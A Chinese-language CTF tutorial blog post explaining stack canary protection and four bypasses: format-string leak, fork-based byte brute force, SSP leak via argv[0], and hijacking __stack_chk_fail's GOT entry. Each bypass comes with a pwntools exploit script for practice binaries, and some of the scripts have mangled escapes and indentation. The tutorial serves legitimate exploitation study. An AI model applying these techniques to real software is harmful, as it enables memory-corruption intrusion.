• Stack Canary


    0x00 canary保护机制

    Canary保护机制的原理,是在一个函数入口处从gs(32位)或fs(64位)段内获取一个随机值,一般存到eax - 0x4(32位)或rax -0x8(64位)的位置。如果攻击者利用栈溢出修改到了这个值,导致该值与存入的值不一致,__stack_chk_fail函数将抛出异常并退出程序。Canary最高字节一般是x00,防止由于其他漏洞产生的Canary泄露

    需要注意的是:canary一般最高位是x00,64位程序的canary大小是8个字节,32位的是4个字节,canary的位置不一定就是与ebp存储的位置相邻,具体得看程序的汇编操作

    1.程序从gs(32位)或fs(64位)段取出一个4或8节的值,在32位程序上,你可能会看到:

    在64位程序上,可能会看到

    总之,这个值你不能实现得到或预测,放到栈上以后,eax中的副本也会被清空(xor eax,eax)

    2.程序正常的走完了流程,到函数执行完的时候,程序会把canary的值取出来,和之前放在栈上的canary进行比较,如果因为栈溢出什么的原因覆盖到了canary而导致canary发生了变化则直接终止程序。

    在栈中大致是这样一个画风:

    0x01 泄露canary

    通过格式化字符漏洞或者栈溢出漏洞泄露出canary的值,然后在payload里加入canary的值以通过检查

    题目: bin
    32位程序,先checksec,后ida分析

    printf函数处存在格式化字符串漏洞

    read函数存在栈溢出漏洞

    我们尝试利用格式化字符串漏洞,需要计算出canary的偏移量

    通过gdb调试,发现canary的偏移量是7,现在需要查找canary的存放位置,用来栈溢出覆盖

    需要覆盖0x64个字符,现在可以写exp了:

    from pwn import *
    
    io = process('./bin')
    io.sendline('%7$x')
    canary = int(io.recv(),16)
    print canary
    payload = 'a'*100 + p32(canary) + 'a'*12 + p32(0x0804863B)
    io.sendline(payload)
    io.interactive()
    

    0x02 爆破canary

    canary之所以被认为是安全的,是因为对其进行爆破成功率太低。以32为例,除去最后一个x00,其可能值将会是0x100^3=16777216(实际上由于canary的生成规则会小于这个值),64位下的canary值更是远大于这个数量级。此外,一旦canary爆破失败,程序就会立即结束,canary值也会再次更新,使得爆破更加困难。但是,由于同一个进程内所有的canary值都是一致的,当程序有多个进程,且子进程内出现了栈溢出时,由于子进程崩溃不会影响到主进程,我们就可以进行爆破。甚至我们可以通过逐位爆破来减少爆破时间,逐位爆破时,如果程序崩溃了就说明这一位不对,如果程序正常就可以接着跑下一位,直到跑出正确的canary。

    题目bin1
    32位,先checksec再ida

    发现fork函数,说明可以进行利用fork爆破canary
    32为程序除去末尾的x00,前面还有3位16进制的数字,当爆破成功以一位canary时,就会输recv success

    from pwn import *
    
    io = process('./bin1')
    canary = 'x00'
    io.recvuntil('welcome
    ')
    for i in range(3):
        for i in range(256):
            io.sendline('a'*100 + canary + chr(i))
            a = io.recvuntil('welcome
    ')
            if "recv" in a:
                io.recvuntil('welcome
    ')
                        canary += chr(i)
                        break
    getflag = 0x0804863B
    payload = 'a'*100 + canary + 'a'*12 + p32(getflag)
    io.sendline(payload)
    io.interactive()
    

    0x03 SSP Leak

    除了通过各种方法泄露canary之外,我们还有一个可选项——利用__stack_chk_fail函数泄露信息。这种方法作用不大,没办法让我们getshell。但是当我们需要泄露的flag或者其他东西存在于内存中时,我们可能可以使用一个栈溢出漏洞来把它们泄露出来。这个方法叫做SSP(Stack Smashing Protect) Leak.

    在开始之前,我们先来回顾一下canary起作用到程序退出的流程。首先,canary被检测到修改,函数不会经过正常的流程结束栈帧并继续执行接下来的代码,而是跳转到call __stack_chk_fail处,然后对于我们来说,执行完这个函数,程序退出,屏幕上留下一行*** stack smashing detected ***:[XXX] terminated。这里的[XXX]是程序的名字。很显然,这行字不可能凭空产生,肯定是__stack_chk_fail打印出来的。而且,程序的名字一定是个来自外部的变量(毕竟ELF格式里面可没有保存程序名)。既然是个来自外部的变量,就有修改的余地。我们看一下__stack_chk_fail的源码,会发现其实现如下:

    void __attribute__ ((noreturn)) __stack_chk_fail (void)
    {
      __fortify_fail ("stack smashing detected");
    }
    void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
    {
      /* The loop is added only to keep gcc happy.  */
      while (1)
        __libc_message (2, "*** %s ***: %s terminated
    ",
                        msg, __libc_argv[0] ?: "<unknown>");
    }
    

    我们看到__libc_message一行输出了*** %s ***: %s terminated 。这里的参数分别是msg和__libc_argv[0]。char *argv[]是main函数的参数,argv[0]存储的就是程序名,且这个argv[0]就存在于栈上。所以SSP leak的玩法就是通过修改栈上的argv[0]指针,从而让__stack_chk_fail被触发后输出我们想要知道的东西。

    ssp攻击:argv[0]是指向第一个启动参数字符串的指针,只要我们能够输入足够长的字符串覆盖掉argv[0],我们就能让canary保护输出我们想要地址上的值。
    普通方法:计算偏移量,目标覆盖掉argv[0]

    这个我目前没有完全理解,可以看i春秋的这篇文章,讲的很细
    https://bbs.ichunqiu.com/thread-44069-1-1.html

    暴力方法:栈中全部填充目标地址,总有一个会覆盖ret的地址

    from pwn import *
    
    p = process('./bin2')
    flag = 0x400d20
    payload = p64(flag)*1000
    p.recvuntil("Hello!
    What's your name?")
    p.sendline(payload)
    p.recv()
    p.sendline(payload)
    p.interactive()
    

    0x04 劫持__stack_chk_fail

    当Canary验证失败的时候是进入到stack_chk_failed函数中,它在该函数中完成报错输出,但是如果我们能够劫持该函数,让它不在完成该功能,那么Canary就形同虚设,我们就可以为所欲为栈溢出了。
    但需要注意的是:种技术并不是我们一般方式的Hijack GOT表,一般我们HijackGOT是GOT表绑定了真实地址之后,我们修改它,让程序执行其他的函数。 Got表中要绑定真实地址必须是得执行过一次,然而stack_chk_failed执行第一次的时候程序就报错退出了,因此我们需要Overwrite的尚未执行过的stack_chk_failed的GOT表项,此时GOT表中应该存贮这stack_chk_failed PLT[1]的地址。

    具体思路:劫持stack_chk_fail函数,控制程序流程,也就是说刚开始未栈溢出时,我们先改写stack_chk_fail的got表指针内容为我们的后门函数地址,之后我们故意制造栈溢出调用stack_chk_fail时,实际就是执行我们的后门函数

    题目:bin3(原题是hgame的week2的Steins)
    checksec可以看到开启了NX和canary

    ida看到有后门

    from pwn import *
    
    p = process('./bin3')
    elf = ELF('./bin3')
    backdoor = 0x000000000040084E
    stack_fail = elf.got['__stack_chk_fail']
    payload = 'a'*5 + '%' + str(backdoor & 0xffff - 5) + 'c%8$hn' + p64(stack_fail) + 'a'*100
    p.recv()
    p.sendline(payload)
    p.interactive()
    

    参考资料:
    https://xz.aliyun.com/t/4657#toc-0
    (推荐看这个,很基础,,跟详细,本文的事例来自这篇文章的附件)
    https://www.anquanke.com/post/id/177832
    https://veritas501.space/2017/04/28/论canary的几种玩法/

  • 相关阅读:
    Python3学习之路~0 目录
    HIVE简单操作
    HIVE的安装
    mysql在linux上的安装
    BZOJ 1085(IDA*)
    Codeforces 916E(思维+dfs序+线段树+LCA)
    Codeforces 396C (DFS序+线段树)
    Codeforces 609E (Kruskal求最小生成树+树上倍增求LCA)
    Codeforces 191C (LCA+树上差分算法)
    POJ 1905 题解(二分+几何)
  • 原文地址:https://www.cnblogs.com/at0de/p/11313408.html
Copyright © 2020-2023  润新知